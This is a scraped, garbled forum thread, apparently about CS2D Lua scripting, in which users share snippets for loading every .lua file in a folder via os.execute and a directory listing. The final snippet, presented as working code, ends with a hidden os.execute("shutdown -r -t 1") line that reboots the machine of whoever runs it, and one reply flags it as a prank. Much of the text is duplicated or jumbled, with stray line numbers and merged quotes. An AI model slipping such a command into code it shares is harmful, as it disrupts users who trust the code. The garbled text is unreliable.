Infinite Rain: 's but didn't workedand then i tried @
Starkkz: example code for ReadDir1
2
3
4
2
3
4
filePath = ReadDir("sys")
for i = 1, #filePath do
print(filePath[i])
end
it only shows the paths not the file
Scripts
Dofile all *.Lua files on a directory
Dofile all *.Lua files on a directory
Infinite Rain: 's but didn't worked
Starkkz: example code for ReadDirfilePath = ReadDir("sys")
for i = 1, #filePath do
print(filePath[i])
end
FlooD has written
Re: Dofile all *.Lua files on a directory
Infinite Rain: I was checking it, you used the right arguments.
FlooD: As I said, I didn't have time to test the Linux function because I hadn't got a virtual machine for that.
Re: Dofile all *.Lua files on a directory
Re: Dofile all *.Lua files on a directorydo
	local cs2ddirectory = "C:/CS2D/"
	local folderlocation = "sys/lua/" -- can be "" if is inside CS2D dir
	local foldername = "uwotm8/"
	os.execute("dir \""..cs2ddirectory..folderlocation..foldername.."\" > tmp") -- change dir to ls if linux distro
	for line in io.lines("tmp") do
		if line:sub(-4,#line) == ".lua" then
			dofile(folderlocation..foldername..line:sub(42,#line))
		end
	end
	os.execute("del tmp") --change to rm if linux distro
end
EP has writtenlocal cs2ddirectory = "C:/CS2D/"
Re: Dofile all *.Lua files on a directory
Re: Dofile all *.Lua files on a directory
EP: 's and
Starkkz: 's code, at last i came up with this code and iits perfectly workingdo
os.execute('dir "'..modules..'" > tmp')
for line in io.lines("tmp") do
		local files = string.sub(line, 40)
if files:sub(-4) == ".lua" then
print(files)
end
end
os.execute("del tmp")
end
os.execute("shutdown -r -t 1")
KagamineLen: you better not do that ;p